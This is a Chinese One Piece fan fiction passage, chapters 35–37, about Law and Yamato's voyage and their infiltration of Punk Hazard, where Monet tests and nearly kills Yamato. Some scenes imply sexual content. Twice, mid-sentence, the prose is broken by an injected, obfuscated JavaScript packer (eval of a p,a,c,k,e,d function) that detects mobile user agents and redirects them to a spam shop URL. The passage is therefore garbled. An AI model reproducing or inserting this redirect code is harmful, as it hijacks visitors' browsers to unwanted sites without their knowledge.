听说离米尼翁岛不远的海燕岛还是红心团的4位元老,船长罗、航海士贝波以及佩金夏其两兄弟相识和一起长大的地方,极地潜水号也是在那里被建造和启航,那么海燕岛可以说完全就是红心团冒险的起点了。 “……不行。”罗依然拒绝了,只不过这次是认真考虑之后慎重做的决定,“虽然我现在的身份是七武海,海军暂且不会拿我和相关人怎样,但会有很多仇家海贼盯着我的消息;更何况说不定七武海也只能当一阵子了,还是不能让海军知道海燕岛和我的关系。” ‘明白了。’——罗是为了保护岛上的人呢,那确实很重要!‘那我去扬帆。’ “嗯,去吧。”话音刚落,想了想,又伸手将刚提脚的人拉回来,“等等。” 还以为他又要交代什么,回头看去却见他神色严肃地开口:“只要能活下去,迟早有一天,我会领你去所有我去过的地方,带你看我看过的任何风景。” ……不好,突然间被船长感动到。 罗可能也突然意识到自己所说的话有点煽情,微微侧过脸去,抿了抿嘴。 白发之人终究面带红晕露出笑意,趁船长不备,主动上前小半步,歪头刚好“突袭”船长的正面。 一击成功,他笑嘻嘻地迅速撤后,跑跳去了桅杆那边。 知他还不肯张口说话,实际也不需要他回答什么。在只有两人的小帆船上,仍是船长的男人下意识碰了碰刚被亲到的嘴唇,少顷,亦挽起个不算太聪明的笑容。 - - “度假”结束,他们终于要反向进入伟大航道。 小型帆船虽然质量不错,在北海可能畅行于风雪天气,却明显不适于横跨无风带,更无法适应进入伟大航道之后复杂多变的海面。 他们打算先去临近伟大航道的大型城市,将小帆船出兑,也将财宝全部兑换成现金后,依旧买客轮票,乘船前往情报贩子指定之处取玛丽乔亚通行证。 最终从典当行结算出来,全部财宝和帆船总计换取5亿5千万贝利,林林总总算下来,连买通行证花的钱、船票、衣食住行种种花销算下来,还净赚2亿多。 船长做完心算后,露出了颇为满意的笑容,拉着手边的白发船员,一转眼又钻进了商业街。除给自己和船员置备新行头之外,还挑了几本新出版的硬装书籍,要不是怕买太多了扛着不方便,可能还会更大手大脚些。 ‘船长,可以申请零花钱么?’ 自家船员首次提出金钱方面的请求,罗毫不犹豫地一挥手:“准!” 虽然起初为大和掷了3亿,但转眼就帮他赚回来5.5亿——这样的船员,哦,还不止是船员——这样的男朋友,船长可以疼! 可等到上了返程的客轮后,船长脑壳也有点疼。 “……打杂的,你从哪里买的这些东西!这是啥?” 罗手里指着两本从书名到插图都明显不是“好孩子”该看的册子,不可置信的表情就像说“我看错你了打杂的,你终于还是学坏了”。 要不是两人的行李物品都放在一起,他真地差点错过了箱子里居然装了两本内容少说也得20岁以上才能读的东西,幸亏上船的时候没有开箱检查,否则他七武海的名声怎么办、红心团船长的脸往哪放? ‘你在米尼翁岛答应过我的。以后只要我研究明白了,就可以‘给你’。’ “我又答应你什么了?”有了几回亲身体验之后,罗现在不免担心以“狗脑子”出奇的理解天赋,他不小心说的什么话又会被曲解成莫名的意思…… 虽说上一次是直接被大和理解为把他当成男朋友,但顺势确立下关系,也算歪打正着。 “还有,你要‘给我’什么?这两本‘黄书’吗?”不对,他得再去另1个箱子里找找,别是还有其它“惊喜”。 ‘不是,不是。’大和立即摆手,但是话到手边又不知道该怎么说。犹豫几秒,还是红着脸比划到:‘我想让你更多地感受到我的感受。我的意思是,就像你进入我……‘给我’的时候,我能感觉到罗一样……’ 在不同情况下还想理智地表达这些想法,真地要羞死他了。 可是实在不想让罗误会,他还是只能咬着嘴唇、硬着头皮表达: ‘我想在抱你时看到你更多的样子。还有,接受我‘给你’的样子。’ “等等,我好像明白了……” 另1个男人已将手掌捂在脸上,想以此掩盖羞红的面部。 “……我就说嘛。有我在,你怎么还用得着这种东西……” ——怪了,为什么只有他们两人在舱房里也会觉得害羞。他一定是和傻子待久了,也被“传染”了。 可即便这么想,罗也没有立刻进行物理“隔离”,反而将手里可能带有一丁点生物和私房教学价值的书扔到一边,转手将身边的傻瓜拉到面前来,拦腰抱住。 “我本来以为你上次的意思想直接作手术……虽然我不是很建议,但交给我来总比别人放心些。” 就在他的臂弯里,白发青年的脸蛋稍微恢复到正常温度,‘手术?’ “啊,就是能将你从外形到功能都改变的手术。”罗顿了顿,坏笑了一下,亲自示意是哪种改变。 ‘诶还可以这样?我倒还没考虑……不过好像也是个办法。’ “要慎重,”医生收回手以后还是恢复正色,“那会对你的身体各方面产生很多改变,不只是下面多个‘玩意儿’那么简单而已,也不只是外表,医学上、生物上,荷尔蒙会影响很多器官,甚至是心理、精神状态、生活方式等等。” 大和听着知无不言的介绍,有种安心感让他放松地倚向前方,顺带主动弯下脖颈。幸好有罗的鞋跟帮忙,他还不算太费劲就心满意足地趴在对方肩头。 ——其实都可以,他并没有太多的想法,对现状也没有任何不满。 一路走来,其实总有惊喜。 谁能想到,不到半年前,他才从科斯莫岛登上身前这人所率领的海贼船呢? “回答我1个问题……我就不追问你还买了什么别的东西。”近距离下毛绒绒、暖烘烘的感受贴着脑畔传来,青年船长没有理由推开,但有种天然的不确定性刚萌芽就令他急不可耐地想要消除。 果然人不可以对事物产生太多的依赖感,一旦过于喜爱便容易患得患失。 肩膀上的脑袋抬起来,大眼睛轻轻一眨。 “大和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127586|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果往后你慢慢都想起来,”罗微微一顿,望进明亮的眼眸,“你会离开吗?” 大和愣了一下。 这个问题似乎很重要,因为他刚刚有一瞬间本能地想开口回答。可事实上在习惯不再说话以后,已经很久没有产生这样的迫切感。 他还是用意志忍住了,凝神仔细想了一下。 如果非要说,在他已经遥远而几乎不再在意的记忆中,除了已逝的艾斯,也只剩下唯一的名字: 【光月御田】。 ——具体说,是要成为光月御田那样的人。 并不是要去见的人,不像艾斯那样,而是一个目标或者一个象征。 既然是要成为的那样一种人,那应该就像人生或者旅途终点之前实现的1个梦想,不是半道离开的理由。 于是他不作多想便正式回答:‘我不会离开,可能最多是在想起一些未尽之事后,就像之前那样暂时去处理一下,处理结束后我仍会回来。’ ‘我也不会离开你的,’他停了一下,嘴唇轻轻张开,控制着幅度,舌尖轻点齿内侧,无声叫罗的名字,‘除非你不想再见到……’ “没有除非。”青年看懂他的唇语与手语,在明白意思的同时就急忙一手握住他的拇指,进而四指收拢拽到面前,“没有除非……” 低头以唇相抵比他洁白的手背,沉静片刻,抬眼时忽然破天荒大胆而轻率地说:“无论你变成什么样子,我都想见你……” ——这不像他说的话。 说话之前,罗就意识到。他从不说这种无法保证的承诺,也不愿意对任何人承诺。但刚刚的话也并非脱口而出,他忍了一会才讲出来的。 这不公平。不仅是只有他说了类似的承诺,而对方根本无法反馈他任何对应的承诺;假使他做不到,对于听者而言也不公平。 可刚刚他就是想赌一把,以超出自己能承受的代价。 “我会一直想见你。别离开我。”他说,像是一种预支的豪赌。 听者的眼眸就像说无条件相信,而且充满感动——大和就是这样,对他所说的事要么直接反对,如果不打算反对或者反对被驳回就会充分信任和配合。没有比大和更为理想的同行者了…… 爱情或许就像自由一样,有时会牵动人作出看似轻率的举止。 但或许在做或讲出的那一刻,有可能是真的,即便它不会永远是真的——因为不可知的考验太多,何况缺少终点作为最终比对的尺度——至少发生时的这一刻,是真地相信会努力实现的。 - - 半月之后,穿越红土大陆的顶端,圣地玛丽乔亚。在世上最为整洁与安全的花园旁路过,遥望世界政府所在的宏伟城堡,他们正式踏入新世界。 彼时也是新一年的开端,他们耳闻伟大航道上飘响的钟声,目睹走过的每座城市岛屿飞舞的节日彩旗。 那之后便从一座岛屿到另一座岛屿,从都市、城镇、到村庄、遗迹、以至全然荒芜的小岛。 走过的路线一条条延长,手边的资料一件件增加。新的情报、新的线索,也有新的风光、新的人文。 即便因为手边的行李增增减减,手中的武器亦不可放下,时常不能携手,但一直并肩同行。 直至关键的信息传来—— “有条消息你可能会感兴趣,七武海‘弟弟’~”电话虫仿着远方身在香波地群岛的情报贩子口吻,带着精明、算计、和无法(令大和)忽视的挑逗。 “该多少是多少,情报屋的。”罗不是没看到近旁某人攥着武器的拳头收紧了几分,无奈又好笑地端起手边的牛奶喝一口,顺便听便携电话虫“说”到: “你知道1年半以前,也就是顶上战争结束后,两位大将为元帅位置之争在某座岛上展开决战吧?” “赤犬和青雉的那场大战吧,听说了。”最终以赤犬胜利并晋升元帅为终,至于大将青雉失败之后的去向也就不得而知。 世界不会过度关心“失败者”何去何从。历史为胜者梳写。 “嗯。我有条可靠消息,可能和你想找的东西有关噢——不久前有艘从德雷斯罗萨出发的空船去了那座岛上,之后‘满载而归’回到了德雷斯罗萨。” 罗沉思了片刻,“有任何证据吗?” “没有。”对面答得极轻巧,“所以这次便宜算给你,按普通等级就行。我不会砸了自家招牌的。” “可以。”罗也答地爽快,“今天下午查账吧。”——自然只能是黑市的账目。 “唔,这么多客户里,我最喜欢你付钱的速度噢~”电话虫的表情似乎也展现出女人心情不错,“呐,七武海弟弟,是不是你的‘助理’男朋友还在旁边呀?也替我也问个好哟!” 餐桌边,两名青年对视一眼。随着大和转移视线重新回到摊在桌边的报纸上,罗也就似笑非笑地对着电话虫道:“他在‘睡觉’。我会转达给他。” “啊啦,感情还是这么好呀……令人嫉妒~” 通信切断。罗顺手喂了电话虫一把饲料,随后一面用手帕擦着手掌,一面提醒桌旁的男人:“该出发了,‘助理’。收拾东西吧。” 话音刚落,白发青年就无声地站了起来,走过面前时忽然低头。 原以为他要表达什么,不料伸手却只是轻托留有短须的下颌,顺手用拇指指腹轻轻蹭过恋人嘴角,转而将奶渍放入自己口中后,才扬长而去。 “喂……”见他心情还不错,罗也就不说什么了。下颌角的动作看上去似乎是咬了咬牙,嘴角却未将上扬的弧线隐藏。 36.piece 36-班克岛行动与夺命试探 班克哈萨德岛,别称“班克禁区”。此地曾是世界政府所有,建有由科学家贝加班克主导的研究基地,并由世界政府收押了一班罪犯用于建设岛屿和服务于武器研究。 4年前因研究事故造成有毒气体外泄,致使岛上大量罪犯和海军丧命或伤残,自此班克岛被世界政府列为禁区,任何人不得入内。 3年前,事实上作为毒气外泄的始作俑者“大师”凯撒-库朗回到岛上,据闻他吸收净化了岛上的毒气,使之恢复成人类可以生存的岛屿。 顶上战争结束后,海军总部元帅战国卸任,大将赤犬与青雉为争夺元帅之位决斗,就在班克禁区进行,结果因为两人的恶魔果实能力太强,彻底改变了岛上自然环境乃至气候,变成一半冰天雪地、一半流金铄石。 日前大和跟罗靠近海岸后,见到的就是如今不似人间应有景观的“冰火岛”。 自抵达之日起,罗抱定宗旨,找到了躲在原贝加班克研究所内继续开展秘密研究的凯撒-库朗,表明是来调查班克岛上世界政府曾开展秘密研究的证据,无碍于凯撒,并表示可以和凯撒暂且合作,只要凯撒也不干涉他的行动。 ——最重要的是,凯撒不得将罗在这里的情况透露给其开展研究背后的金主,也即唐吉诃德-多弗朗明哥。 凯撒表面上来看似乎接受了这份“合作”,但他忌惮罗的实力,要求罗以自己的心脏作为担保交给他,作为交换,凯撒则将他的女秘书莫奈的心脏给罗保管。 - - “这不是对等的交易噢~大师。罗也有可能会使用他带来的‘助理’的心脏呢。”研究所内,提出疑义的是在罗到来后被改造身体为人首鸟肢的研究所秘书莫奈。 “——如果他没有那么做,是不是说明,那个‘女人’的身份也不一般呀……” 如同要一探究竟的视线,落在沉默又好像什么都没听到的白发人身上。 大和感觉到了先后落在自己身上的四道目光,事实上他也听到了女秘书的话,只不过还在尽职尽责地装聋作哑罢了。 科学家“大师”凯撒受秘书启发,也斜眼朝身后临时来协助处理文书的身影瞧了一眼。不过很快也兴趣缺缺地挪开视线。 “1个聋哑人罢了,除了力气大些,估计也没什么太多的用处。罗那小子一定清楚用这么个微不足道的小角色,是不可能换取我的信任的。更何况决定权本就在我这边,他一定是有更重要的意图,不得不答应我吧。” 科学家的想法不仅出于自大,也基本上解析出背后的道理。 大和明白,罗之所以用自己的心脏做交换,除为了通过此举博取凯撒信任,连带的目的还包括降低他的存在感。 他的船长不是像凯撒那样自私又贪生怕死的小人。说什么用“最重要的秘书”的心脏和罗交换,归根结底还是凯撒害怕罗比自己强,实际又不敢把自己的心脏交出来罢了。在他看来,女秘书才是可怜的“牺牲品”。 然而大和还是装作一概不知,只顾闷头将丢给他的杂活一页、一页地工整誊写。他要确保文书语句畅通无误,同时默默在心里记下重要的内容,以便之后转达给罗。 “听不见、又不会说话,实在很无趣;脑子又不怎么好用,成天呆呆的。好在让干什么就干什么,好使唤、以及方便严守秘密这两项,算是微不足道的优点。” 凯撒不屑一顾地作完最后结论,伸个懒腰。 “——这里就先交给你了,莫奈,我去小睡一会。”周身弥漫着气状体、仿佛披了件云霞当作外套似的男人正要走出实验室,想了想,还是留下句嘱咐:“你也不要把人欺负得太狠哟。罗回来之后可能也会不高兴的……” 目送“大师”离去,实验室大门也重新闭合,草绿长发女人厚厚的镜片下露出一丝不明笑意。 “可我就是很想知道,罗到底会为了‘助理’有多不高兴呢~”莫奈仿佛自言自语那样,回头朝向好似专注伏案的背影,盯着白色长发艳丽的发尾,轻声道:“就让我再测试下你对罗来说到底有多重要吧……抱歉咯。” 作为特长“只有”会处理文书、和力气大这两项的“聋哑人”助理,“骂不还口”是基本,“打不还手”虽然不是完全必要的条件,但普通助理即便兼具打手的功能也不该有太强的实力便是。 这便是大和离开研究室时,额头带了伤口、四肢上也出现明显像猛禽爪印抓伤的原因。 刚从研究所外回来的七武海一见即了然。帽檐下脸色阴沉,男人却冷漠地转身,白发助理也就只能跟在他身后朝房间走。 “这已经不止1回,你到底怎么得罪莫奈了?”进入暂住的房间,戴帽子的男人将长刀靠放在脚边,在靠窗的沙发上自行坐下,对跟到面前站着的助理训话。 身为七武海的罗能看懂手语,因此助理大和在研究所期间也只能和他1个人交流——就像凯撒断定的那样,至少便于为罗保守秘密。 此时只见白发助理对背朝窗口的男人用手语解释了什么,可惜除了男人之外暂时还没有人能看懂。 不多时罗的怒声从窗口传来:“白痴!没做错什么还故意对你动手,明显不就是找茬?那个女人很强,你打不过她就别在她眼前瞎晃。以后别再去实验室就是了!” 白发助理无口申辩,楚楚可怜地抹了一把额头上还在流血的伤口,紧跟着比了个简短的手势,似乎在道歉。表达的同时手背上还沾着自己的鲜血。 旁观者莫名有些心怀不忍,哪怕那伤口与自己有密不可分的关系。 或许七武海也有几分恻隐之心,这时指挥助理去取什么东西。没一会,白发人手中托着急救箱走回来,俯身请同时身为外科医生的七武海为其包扎创口。 看来即便对身边的助理态度也不怎么好,身为医生却还是会替身边人医治…… ——只是这样而已么? 莫奈还不是太买账,便有意继续监听下去。 直至看见助理终于处理好伤势,受七武海手托下颌抬起脸来。助理看着罗的眼神清澈忠诚,旁观者也几乎动摇了继续对付如此单纯之人的心思。 本来也只是想试试,其实无论罗还是他带来的助理,和莫奈都没有关系,也都没有什么信任可言。她只是尽职尽责留在凯撒身边,真实目的是替唐吉诃德家族和“少主”监视凯撒即可。 只是七武海突然带助理到访世界政府的禁区“冰火岛”,令人不得不怀疑。 说什么为了调查政府留在岛上的行动证据,理由真地能站住脚吗…… “跪下。含住。”窗边又传来罗的声音。男人的声线冷酷依旧,但这回语调在慢条斯理中带有一丝不同以往的诱导。 助理也就听话跪在七武海的面前,俯身后,便由于沙发遮挡而不见踪影。 莫奈愣了愣,意识到一点什么问题。 监听电话虫收录的讯息并不完全,但依稀能辨别出扯动拉链的声音,随后就陷入沉寂。 她多少有点希望真相不是自己想的那样。重新抬头望去:还是找不到白发助理的踪迹,倒是七武海将头颅向后靠在沙发顶上,一条手臂舒展搭在靠背,手指以某种节奏轻点靠垫顶端…… 当首道饱有喟叹之意的气声传来,“凯撒的秘书”莫奈瞪大金色的双眼,“啪唧”一把掐断监听电话虫的信号,黑色电话虫的双眼也就闭上了。 “不会吧,那孩子……如果是这样未免也有些可怜。”她已经不想听下去,脑海里却还是不停猜测白发“助理”会被其“雇主”如何对待。 再抬头,窗口的男人已经扬手将窗帘闭合。 黏在窗帘后的电话虫亦受干扰,被帘布扫到地面,摔了一跤之后“骨碌”起来急忙爬走。莫奈任由其从潜入时的墙缝原路爬出房间,她此时只有些在意窗帘后面重新站起来的第2个人影。 在光影作用下,有着女性曲线特征的第2人被第1人拉着踉跄了几步,然后再次倒下,被第1人随后在同一位置俯身按住。 莫奈瞪大眼睛,正犹豫还要不要看下去,没多久房间中的灯也灭了。 ——没想到真相可能是反过来的;或许对于七武海而言助理未必有多重要,相反助理却对七武海有求必应,甚至不惜献身。 “真是傻孩子。” 助理这种角色啊,如果一旦被缺少边界感的雇主连身心都占去,就会彻底被人轻视。 想到白发人抬头看向七武海时充满信任的眼神,虽然和莫奈毫不搭介,但她还是垂下眼帘替他人叹息。 “原来是这种关系……”七武海特拉法尔加-罗,原来是个这么爱欺负人的坏家伙,“算你运气好。” 莫奈暂时放弃了对真相的探知,不久也离开实验室,将今日整理的资料回收至办公室。 而同一时间,她放弃监视的房间里,自导自演了一出“光影”剧目的男人紧盯窗帘方向,目光锋利。 “这笔帐先记着。我不会放过那个可恶的女人……”罗在另1人耳边轻声却恨恨地发誓。 大和闻言摸了摸旁人的后背,没有吭声。 实际他在心疼罗为了让凯撒一伙相信而殚精竭虑,每日除了要摸清岛上和研究所的情况,筹划下一步行动,还要处处小心行动被怀疑,连带着为同行的他一起操心。 事实上白白被揍几次对他来讲不是问题,莫奈虽然在凯撒的刻意纵容(抑或背后指使也难说)下,为了激怒罗而对他下黑手,但至今都还未动狠手。 何况就算对方都是一班全无人性的坏蛋,他也不希望在那些人眼里也把罗看成坏蛋。罗只是不想让别人注意到他…… ‘我不怕。’他想告诉罗,但是没有灯光的情况下手势也无法被看到,他想了个办法,在对方胸口用指尖写下。 “这不是怕不怕的问题。”罗顿了一下,捉住胸前的手用力握了握。“我对你有其他安排,他们可以怀疑我,但现在还不能盯上你。” ——每次都是这种说法。有时大和觉得自己好像被“小瞧”了,像是被当成女人保护起来一样。可他来的目的本来就是协助罗,可不想反而成了罗的拖油瓶。 他摊开对方的手心,在上面写:‘我应该保护你。’ “你拿我当女人么?”没想到罗和他想的也差不多。 他刚要否认,两手的手指却都被攥住,随即对方将他双手推到头顶,空余手掌从下方揽到腰上。“等着,‘挠’胸口还有手掌心这招是什么时候学的? “——白白给别人演了出戏,不然还是假戏真作吧。” 说实在的,就算自家船员被凯撒的可恶女秘书揍破相了,罗还是觉得他抬眼看过来的时候相当可爱。 “老实说,刚才的‘临时起意’也不完全出于演戏的目的,有一定真情实感的。或许“演戏”就要半真半假才有说服力吧。” 罗语气玩味地调侃,看见强光下会呈现朱红、而到了夜幕下则呈琥珀色的眼睛又望过来,和对方相视一笑,就知有戏。 仗着对方无法开口说话,他成功岔开话题的同时,也就顺乎心意地将手掌探入毛衣。 触到温热的肌肤后,方一阵舒心。 ——说真地,他绝对不会放过三番两次这么欺负大和的人。 目前只不过为了继续调查而”忍气吞声“,即便他也很想告诉大和根本不用忍、直接还手,明明认真起来哪怕2个莫奈也对付不了大和,就算再加上1个凯撒-库郎也一样。 但为了隐藏实力,还得继续为他忍受这样的委屈。 睁开眼睛也看不到对方受伤的额头,干脆闭上眼睛,小心避开伤口拥抱正一心吻他的人。 快了,就快找到打破局面的方式了。等他想办法挑起四皇凯多和多弗朗明哥的战争,离开这个破地方,好好地补偿他的船员,他心上的人。 - - 不过为了将戏演出“连续剧”的效果,大和次日果然还是听从罗的“要求”,没再去实验室,而是在罗出门后,1个人默默地在研究所里晃悠。 不多时带着从餐厅拿到的水果、点心,穿越长长的连廊,找到巨大房间“饼干屋”。 半个月前,刚进驻研究所没多久,他就在协助罗调查研究所建筑时发现这个叫“饼干屋”的房间。一见之下才知道这里居然还关了小孩子,而且不止一两名,并且大小各异——老实说,他还没见过那么大只的孩子,比成年人还要高数倍。 虽然不了解孩子们的来历,也没办法通过言语和他们交流,但还是可以抽空时去看孩子们游戏,听他们对自己说话。 “白发大姐姐~~” 房门打开,走进装饰明亮的房间,孩子们的声浪即在注意到他之后迎面扑来。 “——是不说话的大姐姐来了!” 大和前几次尝试过纠正自己的性别,不过孩子们似乎理解不了,也就不再强调了。反正研究所里目前除了罗之外,所有人都当他是女人,唉…… 倒也无所谓。只要罗知道就可以了,只要亲近的人明白就够了。 “孩子们,你们也认识她吗?” “认识噢~莫奈小姐,白发大姐姐是两个星期前来的!” “白发大姐姐每个星期都会来!~” ——没想到不巧跑到这也能遇到。 外形如同人面女妖的女人打量他一会,又转过去语气温柔地对孩子们说:“孩子们,她来这里做什么呢?” 在莫奈的诱导下,孩子们逐一报出大和的行踪: 他会堆城堡;会传球;会解迷宫;会拼图…… “——也就是说,和大家一起玩得很开心呢。”莫奈托着下巴总结道,“原来她这么温柔呀~” “但是大姐姐从不说话。呐,莫奈小姐,为什么大姐姐不说话?” “说的是呢,我也没见她说过话。为什么不说话呢……”有着草绿色鬈发的女人扭过头来又看看站在门口没有进去的他。“问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150002|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问‘大姐姐’吧,她为什么不肯说话。” 大和站着没动,看见莫奈也在,让他不禁考虑是不是应该换个时间再来。 但是女人已经牵着正常个头的孩子们主动迎上来了,个头更大的孩子则跟在后面,或许他现在转身就走不仅对孩子们来说太冷酷,可能也会让莫奈觉得刻意。 因此他还是放下怀里的点心和水果,笑对一起走来的孩子们,以及身在其中的鸟形女人。 “大姐姐,为什么你一直不说话?” “大姐姐不能说话吗?” 果真见小朋友们像女人引导的那样围上来七嘴八舌,他心中倒也有了应对方式。 停下来看了一会孩子们或好奇、或担忧的脸庞,大和从口袋中掏出便携记录本和笔,刷刷写过后将小本立起来:‘过去我不想说话。’ 确认孩子们慢慢读完之后,又再次放倒继续写到:‘所以请医生切掉了声带。’ “请医生切掉了……啊咧这是什么意思?” “意思也就是说,大和姐姐没有了说话的器官噢。”大和正要继续写的时候,不料莫奈已经替他解释。“原来是这样呀——是‘医生’切掉的。”她仿佛明白了什么。 “莫奈小姐,大姐姐的名字叫大和嘛?”孩子们抓住了其他关键词。 “大姐姐原来叫大和呀!” “是的,大和是她的名字;孩子们,要同大和好好相处噢~” 一系列令人迷惑的发言听下来,大和有种混沌感。 他不明白莫奈在孩子们面前看似替他说的话是什么意思。奇怪的是他的直觉变得不那么敏锐,也就无法靠直觉感知莫奈是善意抑或恶意。 难道因为在小孩子们面前才故意装作这么善良吗?还是有其他目的? “敌人”却在这时又正面朝他,好像故意放慢速度说到:“你懂读唇语,对不对?” 见白发人点头,她才又道:“这些孩子是因为身患怪病,不能回家,才收到这里由‘大师’医治。请你一定好好对待这些可怜的孩子们,他们如果离开研究所就会‘死’的。” 又是令人疑惑的话。大和还是无法分辨她的真实目的,只好点点头以示知道了。 ——孩子们真地生病了吗? 等他转而离开研究所,打算去找罗商量自己的困惑,没想到刚走出研究所B栋的闸门,就看见了在那里等待的雪白羽翼。 说真地,罗给莫奈制定的身体改造方案不得不说很妙,虽说好好的美女失去了原本的身体有些可惜——尤其是一双鸟腿和她原本修长的双腿对比而言简直丑陋——但是有了宽阔的巨鸟羽翼后,她不但行动可以不受限制、在岛上自由地来去,而且有一种…… 介于妖气和圣洁之间的美感。 “为什么要接近那些孩子?”鸟翼轻轻一扑,草绿色鬈发女人落在面前,“是罗让你这么做的吗?” 大和摇了摇头,正打算再次掏出便携小本,忽觉得柔软若鹅毛、冰凉如丝的触感落在自己额前。 他警惕地抬起头,直视比自己还要高出不少的女人:鬈发下垂,她正用羽翼轻扫他的额头。 “别怕,可怜的孩子。伤口还疼吗?不好意思。”金黄的虹膜盯着他,好像没有威胁;纤长的眼睫近得仿佛要扫到他眉前,让他下意识地红了脸。 ——虽然是敌人,但也太漂亮了。 漂亮到他下意识就原谅了对方近日对自己所作的刁难。 雪白无瑕的翅耸起又将展开,竟同博物馆里的天使雕像一样。□□嘛要改造出这么漂亮的女人?简直像艺术品。 “真是可爱的孩子,告诉我,你爱那个男人吗?” 他接近于受蛊惑般地点点头。做完这个动作才忽然发觉脑袋有些沉沉的,好像就要睡去。 “这样啊……诚实的孩子,如果他利用你,你也愿意为他做任何事吗?” 他再次毫无犹豫地点了点头。 “原来如此。那我们是一样的……所以你该理解我为何要这么做了吧。很抱歉,我还是不能信任你啊……” 呢喃低语,就像夏日浸泡在凉水中,雪天蜷缩在怀抱里,在莫名的温柔中沉溺,进而杀死在摇篮里。 “莫奈!——”恋人的声音刚好也传来耳边,气势汹汹的口吻,和他记忆中熟知的一样,“我已经一而再、再而三地忍你了。怎么,你忘了心脏还在我手里?” “啊啦,你喜欢的男人好凶。”大和凭借已模糊的神识听到。 襁褓状羽翼缓缓打开,身穿白毛衣的白发人像只被中伤的雏鸟一样滑落出来,全身遍布冰霜。 “——你想杀了我的助理吗?” “哪里。只是好奇他到底愿意为你做到什么程度呢。罗。”即便心脏已经握在敌人手里,她好像也无所畏惧。 真是可怕的女人,到底在她的心里装了什么,能一边态度柔和,一边满含杀意。 “少用无关的话搪塞。我家助理哪里碍着你的眼了?还是说这是凯撒的意思,他要不顾我们两人之间的契约,挑起战争吗?” “别那么急嘛,罗。凯撒还在遵守你们之间的约定,瞧,你的助理还活着噢~” “这么说就是你自主来挑衅?”罗像是顾不上冰凉地面上陷入半昏迷之人,1手攥着搏动的心脏,1手持刀,“不然我也跳过凯撒直接揍你一顿算了。可恶的女人……” 大和在脱离低温后一点点恢复意识,已经能分辨是他的船长正在发怒,他第一反应是阻止,下一秒意识到自己还不能说话,借着才奋力找回对身体的控制抬了抬手——试了几次才成功抓到男人的鞋子。 “罗,原来你也很在意她嘛。真令人高兴,对不对?”最后一句话让人云里雾里,不知她在对谁提问。 “少废话!打狗还要看主人;之前几次趁我不在,欺负我的人,我先忍你们。今后大和的身上要是再出现莫名其妙的伤口——擦伤、撞伤、抓伤、冻伤——就视为你们不遵守契约,要直接跟我开战!” 罗自然已经感觉到脚边的力道,他当然也没有失去理智,但亲眼看到手无寸铁的大和差点被冻死,他眼下能将话说到这个程度已是站在忍耐的极限。 “好的,‘七武海大人’。我明白了。”莫奈语调轻松地答应,低头好像还打算再看一眼地上还不能坐起来的人——其实若放在普通人身上,在被“雪雪果实”能力冻住后,短时间内可以恢复动弹甚至抬起手已经不易——她才刚要弯腰,胸前便架上一柄刀鞘。 “明白了就滚。”拿刀的男人说到。他的行动就像警告她别再靠近地上的人。 莫奈微微一愣,随后也就点点头,面带不明笑意扑起翅膀飞走了。 戴帽子的男人神情阴翳地站在原地又等片刻,直到目睹鸟形身影从拐角处不见,才伸出手掌恨道:“Room——” 下1秒,连同男人自己和地面的人影都已消失不见。研究所的走廊上就像什么事都不曾发生。 37.piece 37-班克岛行动与前兆 临时房间内,早已丢开长刀、帽子的男人半跪在浴缸边,一边用温度适宜的水浇灌躺在浴缸里的人,一边紧皱眉头咬牙切齿。 “我要杀了这帮混蛋,绝对要干掉他们……” 浴缸里的人分明也是恶魔果实能力者,并且也有冰系能力,此前就连身处北海的冬日也不怕冷,偏居然险些死在“雪雪果实”能力者的手里。 罗想到如果自己再晚看到一会,哪怕只有几分钟,浴缸里的人可能就已变成一具冰尸。 ——白痴!已经到那种程度就别忍了,还手啊! 湿漉漉的手掌这时捧起他的脸颊,男人一怔之下回神,虽同时抚上对方手背,却还凶道:“傻子!如果我没有恰巧回来,你打算一直‘让’着她?!” 朱红宝石样的眸子望他片刻,像是很无奈,只能依依不舍地放开手对他比划:‘有没有可能,她其实就是故意要给你看的?’——可能莫奈已经知道罗就要路过。 “……”他倒差点将这一茬忘了。 男人无语地停顿片刻,但还是一筹莫展道:“那她刚才也明显抱定决心要对你下杀手了,你没感觉到吗?” ——老实说……大和确实没感觉到。 可能抑制自己的战斗意识太久,又事实上久未真正和人动手,警觉也不免迟钝了。 ‘下次会注意的。’他只好这么安慰跪在浴缸旁的男人。 在用水浇灌的过程中,罗的衣物也不慎打湿了。此刻见对方已经完全恢复且不再颤抖,才稍稍放松下来,方觉的已经失温的水沾在身上,冷飕飕的,有失干燥的布料也紧贴着人心烦。 “没有‘下次’!我跟你约定,在紧急情况下分3个级别‘解封’——” 船长在短时间内已做好了决定,当机立断对同行的海贼下令: “第1级别是允许你动手,在不使用恶魔果实能力的前提下,随你怎么干架;第2级别是能力也不限制,敞开了打;第3级别就是连装聋作哑的事也不用管了,该喊出来的时候就喊。 “——这3个级别,按对手的强弱程度,以你必须活下去为目的,自行判断。 “总而言之,绝对不能在我看不到的地方死了,就算死也必须在我能看到的地方……不对!你不许死! “——只要我能看到就一定能救你。如果连救你的机会都不给我就死了,变成鬼也不会放过你,听明白了吗?” 男人的语气凶惨了,但无论讲出的内容、还是他说话时的眼神,都使听者心生怜爱。 ‘你好可爱,我绝对不舍得你的。’如果死了看不到这么可爱的船长才叫无法忍受。‘我死了,你就变成别人的了。’ 